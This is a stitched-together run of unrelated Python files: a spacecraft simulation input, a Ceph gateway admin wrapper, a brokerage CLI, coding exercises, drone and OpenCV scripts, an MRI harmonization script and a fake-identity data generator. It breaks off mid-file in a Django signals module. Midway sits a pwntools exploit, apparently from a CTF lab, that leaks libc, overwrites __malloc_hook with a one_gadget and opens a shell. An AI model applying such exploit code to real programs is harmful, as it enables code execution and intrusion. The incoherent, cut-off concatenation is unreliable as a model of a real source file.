#         Gradient:  On
#      Gravity Gradient Torque: On
#      Atmosphere Model: On
#         F10.7 = 128.8
#         Geomagnetic Index = 15.7
#      Aerodynamic Drag Model: Off
#      Mass Configuration:   Cylinder
#      Orbit configuration:  Typical
#      Add'l notes:          High orientation
#
#   Simulation Duration - 28800 sec (8 hrs)
#
#   Data Collection Rate - 60 sec.
#
#
# / Update to JEOD version 2.0
#
#
#****************************************************************************

exec(compile(open( "SET_test/common_input.py", "rb").read(), "SET_test/common_input.py", 'exec'))

#Set logging
LOG_CYCLE = 60.0
exec(compile(open( "Log_data/log_suite.py", "rb").read(), "Log_data/log_suite.py", 'exec'))

# Make the Earth gravity spherical
# and turn off the Sun and Moon gravity affects.
vehicle.earth_grav_control.spherical =True
vehicle.sun_grav_control.active = False
vehicle.moon_grav_control.active = False

# Turn on gravity-torque
vehicle.grav_torque.active = True

# Reconfigure vehicle mass as cylinder
set_mass_cylinder()

# Reconfigure initial attitude
vehicle.lvlh_init.orientation.euler_sequence      = trick.Orientation.Roll_Pitch_Yaw
vehicle.lvlh_init.orientation.euler_angles  = trick.attach_units( "degree",[ 0.0, 85.0, 1.0])


import json
import functools
import subprocess
import socket
import utils

import charmhelpers.core.hookenv as hookenv
import charmhelpers.core.decorators as decorators

RGW_ADMIN = 'radosgw-admin'

@decorators.retry_on_exception(num_retries=5, base_delay=3,
                               exc_type=subprocess.CalledProcessError)
def _check_output(cmd):
    """Logging wrapper for subprocess.check_ouput"""
    hookenv.log("Executing: {}".format(' '.join(cmd)), level=hookenv.DEBUG)
    return subprocess.check_output(cmd, stderr=subprocess.PIPE).decode('UTF-8')

@decorators.retry_on_exception(num_retries=5, base_delay=3,
                               exc_type=subprocess.CalledProcessError)
def _check_call(cmd):
    """Logging wrapper for subprocess.check_call"""
    hookenv.log("Executing: {}".format(' '.join(cmd)), level=hookenv.DEBUG)
    return subprocess.check_call(cmd)

def _call(cmd):
    """Logging wrapper for subprocess.call"""
    hookenv.log("Executing: {}".format(' '.join(cmd)), level=hookenv.DEBUG)
    return subprocess.call(cmd)

def _key_name():
    """Determine the name of the cephx key for the local unit"""
    if utils.request_per_unit_key():
        return 'rgw.{}'.format(socket.gethostname())
    else:
        return 'radosgw.gateway'

def _list(key):
    """
    Internal implementation for list_* functions

    :param key: string for required entity (zone, zonegroup, realm, user)
    :type key: str
    :return: List of specified entities found
    :rtype: list
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        key, 'list'
    ]
    try:
        result = json.loads(_check_output(cmd))
        hookenv.log("Results: {}".format(
            result),
            level=hookenv.DEBUG)
        if isinstance(result, dict):
            return result['{}s'.format(key)]
        else:
            return result
    except TypeError:
        return []

@decorators.retry_on_exception(num_retries=5, base_delay=3,
                               exc_type=ValueError)
def list_zones(retry_on_empty=False):
    """
    List zones

    :param retry_on_empty: Whether to retry if no zones are returned.
    :type retry_on_empty: bool
    :return: List of specified entities found
    :rtype: list
    :raises: ValueError
    """
    _zones = _list('zone')
    if retry_on_empty and not _zones:
        hookenv.log("No zones found", level=hookenv.DEBUG)
        raise ValueError("No zones found")
    return _zones

list_realms = functools.partial(_list, 'realm')
list_zonegroups = functools.partial(_list, 'zonegroup')
list_users = functools.partial(_list, 'user')

def create_realm(name, default=False):
    """
    Create a new RADOS Gateway Realm.

    :param name: name of realm to create
    :type name: str
    :param default: set new realm as the default realm
    :type default: boolean
    :return: realm configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'realm', 'create',
        '--rgw-realm={}'.format(name)
    ]
    if default:
        cmd += ['--default']
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None

def set_default_realm(name):
    """
    Set the default RADOS Gateway Realm

    :param name: name of realm to create
    :type name: str
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'realm', 'default',
        '--rgw-realm={}'.format(name)
    ]
    _check_call(cmd)

def create_zonegroup(name, endpoints, default=False, master=False, realm=None):
    """
    Create a new RADOS Gateway Zone Group

    :param name: name of zonegroup to create
    :type name: str
    :param endpoints: list of URLs to endpoints for zonegroup
    :type endpoints: list[str]
    :param default: set new zonegroup as the default zonegroup
    :type default: boolean
    :param master: set new zonegroup as the master zonegroup
    :type master: boolean
    :param realm: realm to use for zonegroup
    :type realm: str
    :return: zonegroup configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'zonegroup', 'create',
        '--rgw-zonegroup={}'.format(name),
        '--endpoints={}'.format(','.join(endpoints)),
    ]
    if realm:
        cmd.append('--rgw-realm={}'.format(realm))
    if default:
        cmd.append('--default')
    if master:
        cmd.append('--master')
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None

def create_zone(name, endpoints, default=False, master=False, zonegroup=None,
                access_key=None, secret=None, readonly=False):
    """
    Create a new RADOS Gateway Zone

    :param name: name of zone to create
    :type name: str
    :param endpoints: list of URLs to endpoints for zone
    :type endpoints: list[str]
    :param default: set new zone as the default zone
    :type default: boolean
    :param master: set new zone as the master zone
    :type master: boolean
    :param zonegroup: zonegroup to use for zone
    :type zonegroup: str
    :param access_key: access-key to use for the zone
    :type access_key: str
    :param secret: secret to use with access-key for the zone
    :type secret: str
    :param readonly: set zone as read only
    :type: readonly: boolean
    :return: dict of zone configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'zone', 'create',
        '--rgw-zone={}'.format(name),
        '--endpoints={}'.format(','.join(endpoints)),
    ]
    if zonegroup:
        cmd.append('--rgw-zonegroup={}'.format(zonegroup))
    if default:
        cmd.append('--default')
    if master:
        cmd.append('--master')
    if access_key and secret:
        cmd.append('--access-key={}'.format(access_key))
        cmd.append('--secret={}'.format(secret))
    cmd.append('--read-only={}'.format(1 if readonly else 0))
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None

def modify_zone(name, endpoints=None, default=False, master=False,
                access_key=None, secret=None, readonly=False):
    """
    Modify an existing RADOS Gateway zone

    :param name: name of zone to create
    :type name: str
    :param endpoints: list of URLs to endpoints for zone
    :type endpoints: list[str]
    :param default: set zone as the default zone
    :type default: boolean
    :param master: set zone as the master zone
    :type master: boolean
    :param access_key: access-key to use for the zone
    :type access_key: str
    :param secret: secret to use with access-key for the zone
    :type secret: str
    :param readonly: set zone as read only
    :type: readonly: boolean
    :return: zone configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'zone', 'modify',
        '--rgw-zone={}'.format(name),
    ]
    if endpoints:
        cmd.append('--endpoints={}'.format(','.join(endpoints)))
    if access_key and secret:
        cmd.append('--access-key={}'.format(access_key))
        cmd.append('--secret={}'.format(secret))
    if master:
        cmd.append('--master')
    if default:
        cmd.append('--default')
    cmd.append('--read-only={}'.format(1 if readonly else 0))
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None

def update_period(fatal=True):
    """
    Update RADOS Gateway configuration period
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'period', 'update', '--commit'
    ]
    if fatal:
        _check_call(cmd)
    else:
        _call(cmd)

def tidy_defaults():
    """
    Purge any default zonegroup and zone definitions
    """
    if ('default' in list_zonegroups() and
            'default' in list_zones()):
        cmd = [
            RGW_ADMIN, '--id={}'.format(_key_name()),
            'zonegroup', 'remove',
            '--rgw-zonegroup=default',
            '--rgw-zone=default'
        ]
        _call(cmd)
        update_period()

    if 'default' in list_zones():
        cmd = [
            RGW_ADMIN, '--id={}'.format(_key_name()),
            'zone', 'delete',
            '--rgw-zone=default'
        ]
        _call(cmd)
        update_period()

    if 'default' in list_zonegroups():
        cmd = [
            RGW_ADMIN, '--id={}'.format(_key_name()),
            'zonegroup', 'delete',
            '--rgw-zonegroup=default'
        ]
        _call(cmd)
        update_period()

def create_system_user(username):
    """
    Create a RADOS Gateway system use for sync usage

    :param username: username of user to create
    :type username: str
    :return: access key and secret
    :rtype: (str, str)
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'user', 'create',
        '--uid={}'.format(username),
        '--display-name=Synchronization User',
        '--system',
    ]
    try:
        result = json.loads(_check_output(cmd))
        return (result['keys'][0]['access_key'],
                result['keys'][0]['secret_key'])
    except TypeError:
        return (None, None)

def pull_realm(url, access_key, secret):
    """
    Pull in a RADOS Gateway Realm from a master RGW instance

    :param url: url of remote rgw deployment
    :type url: str
    :param access_key: access-key for remote rgw deployment
    :type access_key: str
    :param secret: secret for remote rgw deployment
    :type secret: str
    :return: realm configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'realm', 'pull',
        '--url={}'.format(url),
        '--access-key={}'.format(access_key),
        '--secret={}'.format(secret),
    ]
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None

def pull_period(url, access_key, secret):
    """
    Pull in a RADOS Gateway period from a master RGW instance

    :param url: url of remote rgw deployment
    :type url: str
    :param access_key: access-key for remote rgw deployment
    :type access_key: str
    :param secret: secret for remote rgw deployment
    :type secret: str
    :return: realm configuration
    :rtype: dict
    """
    cmd = [
        RGW_ADMIN, '--id={}'.format(_key_name()),
        'period', 'pull',
        '--url={}'.format(url),
        '--access-key={}'.format(access_key),
        '--secret={}'.format(secret),
    ]
    try:
        return json.loads(_check_output(cmd))
    except TypeError:
        return None


#!/usr/bin/env python

import argparse
import asyncio
import signal
import time

import shtab

from importlib.metadata import version

from pytr.utils import get_logger
from pytr.dl import DL
from pytr.account import login
from pytr.portfolio import Portfolio
from pytr.alarms import Alarms
from pytr.details import Details

def get_main_parser():
    parser = argparse.ArgumentParser()
    shtab.add_argument_to(parser, ['-s', '--print-completion'])  # magic!

    parser.add_argument(
        '-v', '--verbosity', help='Set verbosity level', choices=['warning', 'info', 'debug'], default='info'
    )
    parser.add_argument('--applogin', help='Use app login instead of  web login', action='store_true')
    parser.add_argument('-V', '--version', help='Print version information and quit', action='store_true')
    subparsers = parser.add_subparsers(help='Desired action to perform', dest='command')

    # help
    subparsers.add_parser('help', help='Print this help message')

    # Create parent subparser for {dl_docs, check}-parsers with common arguments
    parent_parser = argparse.ArgumentParser(add_help=False, formatter_class=argparse.ArgumentDefaultsHelpFormatter)

    # Subparsers based on parent

    parser_login = subparsers.add_parser(
        'login',
        parents=[parent_parser],
        help='Check if credentials file exists. If not create it and ask for input.'
        + ' Try to login. Ask for device reset if needed',
    )
    parser_login.add_argument('-n', '--phone_no', help='TradeRepbulic phone number (international format)')
    parser_login.add_argument('-p', '--pin', help='TradeRepbulic pin')

    subparsers.add_parser('portfolio', parents=[parent_parser], help='Show current portfolio')

    parser_dl_docs = subparsers.add_parser(
        'dl_docs',
        parents=[parent_parser],
        help='Download all pdf documents from the timeline and sort them into folders',
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
    )
    parser_dl_docs.add_argument('output', help='Output directory', metavar='PATH')
    parser_dl_docs.add_argument(
        '--format',
        help='available variables:\tiso_date, time, title, doc_num, subtitle',
        metavar='FORMAT_STRING',
        default='{iso_date}{time} {title}{doc_num}',
    )
    parser_dl_docs.add_argument(
        '--last_days', help='Number of last days to include (use 0 get all days)', metavar='DAYS', default=0, type=int
    )

    parser_get_price_alarms = subparsers.add_parser(
        'get_price_alarms', parents=[parent_parser], help='Get overview of current price alarms'
    )
    parser_details = subparsers.add_parser('details', parents=[parent_parser], help='Get details for an ISIN')
    parser_details.add_argument('isin', help='ISIN of intrument')
    parser_set_price_alarms = subparsers.add_parser(
        'set_price_alarms', parents=[parent_parser], help='Set price alarms based on diff from current price'
    )
    parser_set_price_alarms.add_argument(
        '-p',
        '--percent',
        help='Percentage +/-',
        # choices=range(-1000, 1001),
        metavar='[-1000 ... 1000]',
        type=int,
        default=-10,
    )
    return parser

def exit_gracefully(signum, frame):
    # restore the original signal handler as otherwise evil things will happen
    # in input when CTRL+C is pressed, and our signal handler is not re-entrant
    global original_sigint
    signal.signal(signal.SIGINT, original_sigint)

    try:
        if input('\nReally quit? (y/n)> ').lower().startswith('y'):
            exit(1)

    except KeyboardInterrupt:
        print('Ok ok, quitting')
        exit(1)

    # restore the exit gracefully handler here
    signal.signal(signal.SIGINT, exit_gracefully)

def main():
    # store the original SIGINT handler
    global original_sigint
    original_sigint = signal.getsignal(signal.SIGINT)
    signal.signal(signal.SIGINT, exit_gracefully)

    parser = get_main_parser()
    args = parser.parse_args()
    # print(vars(args))

    log = get_logger(__name__, args.verbosity)
    log.setLevel(args.verbosity.upper())
    log.debug('logging is set to debug')
    weblogin = not args.applogin

    if args.command == 'login':
        login(phone_no=args.phone_no, pin=args.pin, web=weblogin)

    elif args.command == 'dl_docs':
        if args.last_days == 0:
            since_timestamp = 0
        else:
            since_timestamp = (time.time() - (24 * 3600 * args.last_days)) * 1000

        dl = DL(login(web=weblogin), args.output, args.format, since_timestamp=since_timestamp)
        asyncio.get_event_loop().run_until_complete(dl.dl_loop())
    elif args.command == 'set_price_alarms':
        # TODO
        print('Not implemented yet')
    elif args.command == 'get_price_alarms':
        Alarms(login(web=weblogin)).get()
    elif args.command == 'details':
        Details(login(web=weblogin), args.isin).get()
    elif args.command == 'portfolio':
        Portfolio(login(web=weblogin)).get()
    elif args.version:
        print(version('pytr'))
    else:
        parser.print_help()

if __name__ == '__main__':
    main()


import heapq as hq

class Solution:
    def kSmallestPairs(self, nums1: List[int], nums2: List[int], k: int) -> List[List[int]]:

        N , M = len(nums1) , len(nums2)

        min_heap = []

        N , M = len(nums1) , len(nums2)
        seen = set()
        for idx in range(M):
            cur_sum = nums1[0] + nums2[idx]
            hq.heappush(min_heap,(cur_sum,0,idx))
            seen.add((0,idx))

        res = []
        while min_heap and k > 0:
            cur_sum , idx1 , idx2 = hq.heappop(min_heap)

            res.append([nums1[idx1],nums2[idx2]])

            if idx1+1 < N and idx2 < M and (idx1+1,idx2) not in seen:
                newSum = nums1[idx1+1]  + nums2[idx2]
                hq.heappush(min_heap,(newSum,idx1+1,idx2))
                seen.add((idx1+1,idx2))

            if idx1 < N and idx2+1 < M and (idx1,idx2+1) not in seen:
                newSum = nums1[idx1]  + nums2[idx2+1]
                hq.heappush(min_heap,(newSum,idx1,idx2+1))
                seen.add((idx1,idx2+1))

            k -= 1
        return res


from djitellopy import Tello
import cv2
import pygame
import numpy as np
import time
import drone_controller

class FrontEnd(object):
    """ Maintains the Tello display and moves it through the keyboard keys.
        Press escape key to quit.
        The controls are:
            - T: Takeoff
            - L: Land
            - Arrow keys: Forward, backward, left and right.
            - A and D: Counter clockwise and clockwise rotations
            - W and S: Up and down.
    """

    def __init__(self):
        # Init pygame
        pygame.init()

        # Creat pygame window
        pygame.display.set_caption("Tello video stream")
        self.screen = pygame.display.set_mode([960, 720])

        # create update timer
        pygame.time.set_timer(pygame.USEREVENT + 1, 50)

    def run(self):
        # init movement controller with drone device
        try:
            droneController = drone_controller.droneController()
        except:
            raise Exception("Couldn't initialize drone controller")

        should_stop = False
        autonomous = False
        while not should_stop:

            for event in pygame.event.get():
                if event.type == pygame.USEREVENT + 1:
                        droneController.update()
                elif event.type == pygame.QUIT:
                    should_stop = True
                elif event.type == pygame.KEYDOWN:
                    if event.key == pygame.K_ESCAPE:
                        should_stop = True
                    else:
                        droneController.keydown(event.key)
                elif event.type == pygame.KEYUP:
                    autonomous = droneController.keyup(event.key)

            # autonomous flight correction
            if autonomous:
                droneController.auto_flight()
                droneController.update()

            if droneController.frame_read.stopped:
                droneController.frame_read.stop()
                print("Frameread stopped land safely!")

            frame = pygame.surfarray.make_surface(droneController.get_frame()) # create pygame screen
            self.screen.blit(frame, (0, 0)) # put screen on
            pygame.display.update()

            time.sleep(1 / droneController.FPS)

        # Call it always before finishing. To deallocate resources.
        droneController.drone.end()

def main():
    frontend = FrontEnd()

    # run frontend
    frontend.run()

if __name__ == '__main__':
    main()


from pwn import *

context.log_level = 'debug'

p = process('./bin/hook2')
pause()

e = p.elf
libc = e.libc

stdout = int(p.recvline().strip().split(b': ')[1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget =  libc_base + 0x4f432

log.info('stdout: ' + hex(stdout))
log.info('libc_base: ' + hex(libc_base))
log.info('__malloc_hook: ' + hex(malloc_hook))
log.info('one_gadget: ' + hex(one_gadget))

p.send(p64(malloc_hook) + p64(one_gadget))

p.interactive()


import numpy as np
import pandas as pd
from faker import Faker
fake = Faker(['fr-CA'])
fake.locales
from faker.providers.person.fr_CA import Provider

def random_names(name_type, size):
    """
    Generate n-length ndarray of person names.
    name_type: a string, either first_names or last_names
    """
    names = getattr(Provider, name_type)
    return np.random.choice(names, size=size)

def random_genders(size, p=None):
    """Generate n-length ndarray of genders."""
    if not p:
        # default probabilities
        p = (0.49, 0.49, 0.01, 0.01)
    gender = ("M", "F", "O", "")
    return np.random.choice(gender, size=size, p=p)

def random_dates(start, end, size):
    """
    Generate random dates within range between start and end.
    Adapted from: https://stackoverflow.com/a/50668285
    """
    # Unix timestamp is in nanoseconds by default, so divide it by
    # 24*60*60*10**9 to convert to days.
    divide_by = 24 * 60 * 60 * 10**9
    start_u = start.value // divide_by
    end_u = end.value // divide_by
    return pd.to_datetime(np.random.randint(start_u, end_u, size), unit="D")

def random_address(size):
    """
    Generate n-length ndarray of address.
    """
    fake = Faker('en_CA')
    addressList = []
    for _ in range(size):
        address = fake.address().split(", ")[0].replace('\n', ', ')
        addressList.append(address + ", QC " + fake.postalcode_in_province("QC"))

    return np.random.choice(addressList, size=size)

def random_nas(size):
    fake = Faker('en_CA')
    nasList = []
    for _ in range(size):
        nasList.append(fake.ssn())

    return np.random.choice(nasList, size=size)

# How many records do we want to create in our CSV? In this example
# we are generating 100, but you could also find relatively fast results generating
# much larger datasets
size = 1000
df = pd.DataFrame(columns=['First', 'Last', 'Gender', 'Birthdate','Address', 'NAS'])

df['First'] = random_names('first_names', size)
df['Last'] = random_names('last_names', size)
df['Gender'] = random_genders(size)
df['Birthdate'] = random_dates(start=pd.to_datetime('1940-01-01'), end=pd.to_datetime('2008-01-01'), size=size)
df['Address'] = random_address(size)
df['NAS'] = random_nas(size)
df.to_csv('fake-file.csv')

print("Terminé")


# Write a function allConstruct(target,word_bank) that accepts a target string and an array of strings.

# The function should return a 2D array containing all of the ways that  the target can be constructed by concatenating elements of the word_bank array. Each element of the 2D array should represent one combination that constructs the target.

# You may reuse elements of  word_bank as many times as needed.

def allConstruct(target, word_bank):
    if target == "":
        return [[]]

    result = []
    for word in word_bank:
        if target.find(word) == 0 :
            suffix = target[len(word):]
            suffix_ways = allConstruct(suffix, word_bank)
            target_ways  =  [x[:] for x in suffix_ways]
            [way.insert(0, word) for way in target_ways]
            result.extend(target_ways)

    return result

print(allConstruct("purple", ["purp", "p", "ur","le", "purpl"]))

print(allConstruct("skateboard", ["bo", "rd", "ate", "t" ,"ska", "boar"]))
print(allConstruct("abcdef", ["ab", "abc", "cd", "def", "abcd","ef","c"]))

print(allConstruct("aaaaaaaaaaaaaaaz", ["a", "aa","aaa", "aaaa", "aaaaa"]))

# Where m = target and n = wordBank.length

# O(n^m) time complexity and space complexity is O(m)

# using memo wont have much effect on the optimization and doesn't really affect the true bigger worst case of return 2 dim. arrays

def allConstructMemo(target, word_bank,memo={}):
    if target in memo:
        return memo[target]
    if target == "":
        return [[]]

    result = []
    for word in word_bank:
        if target.find(word) == 0 :
            suffix = target[len(word):]
            suffix_ways = allConstructMemo(suffix, word_bank,memo)
            target_ways  =  [x[:] for x in suffix_ways]
            [way.insert(0, word) for way in target_ways]
            result.extend(target_ways)
    memo[target] = result
    return result

# print(allConstructMemo("purple", ["purp", "p", "ur","le", "purpl"]))

# print(allConstructMemo("skateboard", ["bo", "rd", "ate", "t" ,"ska", "boar"]))
# print(allConstructMemo("abcdef", ["ab", "abc", "cd", "def", "abcd","ef","c"]))

# print(allConstruct("aaaaaaaaaaaaaaaz", ["a", "aa","aaa", "aaaa", "aaaaa"]))


# tip-calculator
#For calculating how to  share money and if any with tip included

print("welcome to tip calculator!")
bill = float(input("What is the total bill?\n$"))
tip = int(input("How much tip would you like to give? 10, 12 or 15?"))
people = int(input("How many people to split the bill?"))

tip_in_percent = tip/100
bill_in_percentage = tip_in_percent * bill
total_bill = bill_in_percentage + bill
bill_per_person = total_bill / people
final_amount = "{:.2f}".format(bill_per_person)
print(f"Each person should pay ${final_amount} Each")


import cv2
import numpy as np
import copy
import math
import matplotlib.pyplot as plt

path = './sample_video/2.avi'
cap = cv2.VideoCapture(path)

#default red setting
#lower_red=np.array([0, 50, 50])
#upper_red=np.array([5, 255, 255])

lower_red=np.array([0, 50, 50])
upper_red=np.array([5, 255, 255])

kernel = np.ones((10,10), np.uint8)
is_first_frame = True
filter_not_set = True
buffer = []
center= [330,259]
angles = []
angles_sum = []

last_point = []

def getPixel(event, x, y, flags, param):
    global filter_not_set
    if event == cv2.EVENT_LBUTTONDBLCLK:
        if filter_not_set:
            filter_not_set = False
            print("x : " + str(x) + " , y : " + str(y))
            print(hsv[y][x])
            print("filter set")
            global lower_red
            global upper_red
            lower_red=np.array([max(hsv[y][x][0]-3,0), max(hsv[y][x][1]-100,50), max(hsv[y][x][2]-100,50)])
            upper_red=np.array([min(hsv[y][x][0]+3,255), min(hsv[y][x][1]+100,255), min(hsv[y][x][2]+100,255)])
        else:
            global center
            center = [x,y]
            print("x : " + str(x) + " , y : " + str(y))
            print("center point set")

def angle(pt1, pt2):
    x1, y1 = pt1
    x2, y2 = pt2
    inner_product = x1*x2 + y1*y2
    len1 = math.hypot(x1, y1)
    len2 = math.hypot(x2, y2)
    cos = inner_product/(len1*len2)
    if cos >= 1:
        cos = 1
    elif cos <= -1:
        cos = -1
    return abs(math.acos(cos)) * (180 / math.pi)

plt.ion()
fig = plt.gcf()

plt.show()
fig.canvas.draw()

while(cap.isOpened()):
    ret, frame = cap.read()
    img = cv2.GaussianBlur(frame,(5,5),0)
    hsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)

    if is_first_frame:
        is_first_frame = False
        r = int(np.sqrt(np.size(img))/100)
        cv2.imshow('image',img)
        cv2.setMouseCallback('image',getPixel)

        if cv2.waitKey(0) & 0xFF == ord('q'):
            cv2.destroyAllWindows()
            continue

    mask_red=cv2.inRange(hsv,lower_red,upper_red)
    res_red=cv2.bitwise_and(img,img,mask=mask_red)
    img_dilation = cv2.dilate(mask_red, kernel, iterations=1)
    img_erosion = cv2.erode(img_dilation, kernel, iterations=1)

    imgray = img_erosion
    ret,thresh = cv2.threshold(imgray,10,255,0)
    im2, contours, hierarchy = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
    contours_ = []

    #reject small contour areas
    for c in contours:
        if cv2.contourArea(c) >= 250:
            contours_.append(c)
    length = len(contours_)
    cv2.drawContours(img, contours_, -1, (0,255,0), 3)

    points = np.array(contours_)

    if length:
        for i in range(0, length):
            x = int(np.mean(points[i][:,0,0]))
            y = int(np.mean(points[i][:,0,1]))
            buffer.append([x,y])
            cv2.circle(img, (x, y),r,(0,255,0),-1)
            if len(last_point) == 0:
                last_point = [x,y]

            if(len(buffer)>=10):
                buffer.pop(0)
            for points in buffer:
                cv2.circle(img, (points[0], points[1]),int(r/2),(255,255,0),-1)
                cv2.line(img,(center[0],center[1]),(points[0],points[1]),(255,255,0),int(r/5))

        cv2.circle(img, (center[0], center[1]),int(r/2),(0,255,255),-1)

        angle_tmp = angle([x-center[0], y-center[1]],[last_point[0]-center[0], last_point[1]-center[1]])
        angles.append(angle_tmp)

        angles_sum.append(sum(angles))

        if(len(angles_sum)>=30):
            ##polyfit
            poly_y = (np.array(angles_sum))[20:]
            poly_x = np.arange(np.size(poly_y))/30.0
            coef = np.polyfit(poly_x,poly_y,2)
            ang_vel = np.sum((np.array(angles))[-10:]) * 3
            plt.title("Angular velocity : " + str(round(ang_vel/180.0*math.pi,3)) +"Rad/s", fontsize=30)
            #plt.title("Angular velocity : " + str(round(coef[0]/180.0*math.pi,3)) +"Rad/s", fontsize=30)
            ##
        ax = fig.add_subplot(111)
        ax.scatter(range(0,len(angles_sum)), angles_sum, color='darkgreen')
        ax.set_xlim(0, len(angles_sum))
        ax.set_ylim(0, angles_sum[-1] * 1.1)
        fig.canvas.draw()
        plt.pause(0.000000000001)

        last_point = [x,y]
        #plt.show()
        #######

    cv2.imshow('g',img)
    if cv2.waitKey(100) & 0xFF == ord('q'):
        break
'''
while(cap.isOpened()):
    ret, frame = cap.read()

    cv2.imshow('frame',img)
'''


from neuroCombat import neuroCombat
import pandas as pd
import numpy as np
import os,sys
import nibabel as nib
from subprocess import check_call
import scipy.ndimage

def swap_axes(img):
    img = np.swapaxes(img,0,2)
    img = img[::-1, ::-1, :]
    sh=np.asarray(img.shape)
    img = np.swapaxes(img,2,np.argmin(sh))
    return img

def pad_img(img,c=(0,0,0)):
    # c is corner where to locate image
    blank=np.zeros((256,256,64))
    blank[c[0]:c[0]+img.shape[0],c[1]:c[1]+img.shape[1],c[2]:c[2]+img.shape[2]]=img
    return blank

def resize_img(img,img_shape):
    size=list(img_shape)
    zoom=[1.0*x/y for x, y in zip(size, img.shape)]
    return scipy.ndimage.zoom(img, zoom=zoom)

def get_subj_data(p,input_size=(256,256,64,1)):
    img_shape=input_size[:-1]
    subj_data = np.zeros(input_size)
    if '.mnc.gz' in p or '.nii.gz' in p:
        img = np.squeeze(nib.load(p).get_fdata())
        # print(img.shape)
        img = swap_axes(img)
        if any(np.asarray(img.shape)>np.asarray(img_shape)):
            img=resize_img(img,img_shape)
        img = pad_img(img)
        subj_data = np.reshape(img,input_size)
        subj_data = subj_data.flatten()
    else:
        print("File is not mnc.gz or nii.gz : {}".format(p))
    return subj_data

def combine_XV_sets(path):
    train_fn = os.path.join(path,'train.art123.csv')
    df = pd.read_csv(train_fn,index_col=0)
    # valid_fn = os.path.join(path,'valid.art123.csv')
    # df_valid = pd.read_csv(valid_fn,index_col=0)
    test_fn = os.path.join(path,'test.art123.csv')
    df_test = pd.read_csv(test_fn,index_col=0)
    df = df.append(df_test,ignore_index=True)
    df = df.sample(frac=1).reset_index(drop=True)
    df1 = df.sample(frac = 0.33333)
    print('Saving to: {}'.format(os.path.join(path,'train_test.001.csv')))
    df1.to_csv(os.path.join(path,'train_test.001.csv'))
    df2 = df.drop(df1.index).sample(frac = 0.5)
    print('Saving to: {}'.format(os.path.join(path,'train_test.002.csv')))
    df2.to_csv(os.path.join(path,'train_test.002.csv'))
    df3 = df.drop(df1.index).drop(df2.index)
    print('Saving to: {}'.format(os.path.join(path,'train_test.003.csv')))
    df3.to_csv(os.path.join(path,'train_test.003.csv'))
    # df = df.append(df_valid,ignore_index=True)
    return df

def get_data(subset_fn):
    # train_fn = os.path.join(path,'train.art123.csv')
    df = pd.read_csv(subset_fn)
    print(df.sum())
    print(df)
    nb_clean = df['clean'].sum()
    nb_artifact = df['artifact'].sum()
    print(df['path'].head(5))
    data = np.zeros((4194304,df.shape[0]))
    data_files = []
    clean = 0
    for fn in df[df['clean']==1.0]['path']:
        if clean>nb_clean:
            break
        print(clean)
        print(fn)
        subj_data = get_subj_data(fn)
        print(subj_data.shape)
        data[:,clean] = subj_data
        data_files += [fn]
        clean = clean+1
    noise = 0
    for fn in df[df['artifact']==1.0]['path']:
        if noise>nb_artifact:
            break
        print(noise)
        print(fn)
        subj_data = get_subj_data(fn)
        print(subj_data.shape)
        data[:,noise+clean] = subj_data
        data_files += [fn]
        noise = noise+1
    return data,data_files,nb_clean,nb_artifact

def save_to_nii(data,fn):
    # data = data.reshape(data.shape+(1,))
    affine=np.eye(len(data.shape))
    img_nii = nib.Nifti1Image(data,affine)
    path=fn
    print(path)
    if not os.path.isfile(path+'.gz'):
        nib.save(img_nii,path)
        print('Saving and gzipping to: {}'.format(path+'.gz'))
        check_call(['gzip', path])
    else:
        print('File {} already exists'.format(path+'.gz'))

def sort_and_save(data_combat,data_files):
    for idx,fn in enumerate(data_files):
        subj_data_combat_Nx1 = data_combat[:,idx]
        subj_data_combat = subj_data_combat_Nx1.reshape((256,256,64,1))
        fn_combat_nii = fn.replace('.mnc.gz','_combat.nii').replace('datasets','combat')
        save_to_nii(subj_data_combat,fn_combat_nii)

def combat_subset(path,idx):
    subset_fn = os.path.join(path,'train_test.00{}.csv'.format(idx+1))
    print('Working with: {}'.format(subset_fn))

    data,data_files,nb_clean,nb_artifact = get_data(subset_fn)
    print(data)
    print(data.shape)

    print(data_files)
    print(nb_clean,nb_artifact)
    study = int(nb_clean)*[1]+int(nb_artifact)*[2]
    print(study)
    # Specifying the batch (scanner variable) as well as a biological covariate to preserve:
    covars = {'study':study}
    # covars = {'study':[1,1,1,1,1,2,2,2,2,2]}
    covars = pd.DataFrame(covars)

    # To specify names of the variables that are categorical:
    # categorical_cols = ['gender']

    # To specify the name of the variable that encodes for the scanner/batch covariate:
    batch_col = 'study'

    #Harmonization step:
    data_combat = neuroCombat(dat=data,
        covars=covars,
        batch_col=batch_col)["data"]

    print(data_combat.shape)

    sort_and_save(data_combat,data_files)

# Get data
# 200 rows (features) and 10 columns (scans)
# data = np.genfromtxt('testdata/testdata.csv', delimiter=",", skip_header=1)

path = '/trials/data/rpizarro/noise/XValidFns/stage1_set/XV0'
for i in range(3):
    combat_subset(path,i)


from django.db.models.signals import pre_save, post_save
from django.core.mail import send_mail
from django.dispatch import receiver
from django.conf import settings
from datetime import datetime

from .models import Attendee

def get_last_id():
    """
    Returns the Dawrah ID of the last attendee in the database, or None if there are no attendees.
    """
    last_attendee = Attendee.objects.all().last()
    return last_attendee.dawrah_id if last_attendee else None

@receiver(pre_save, sender=Attendee)
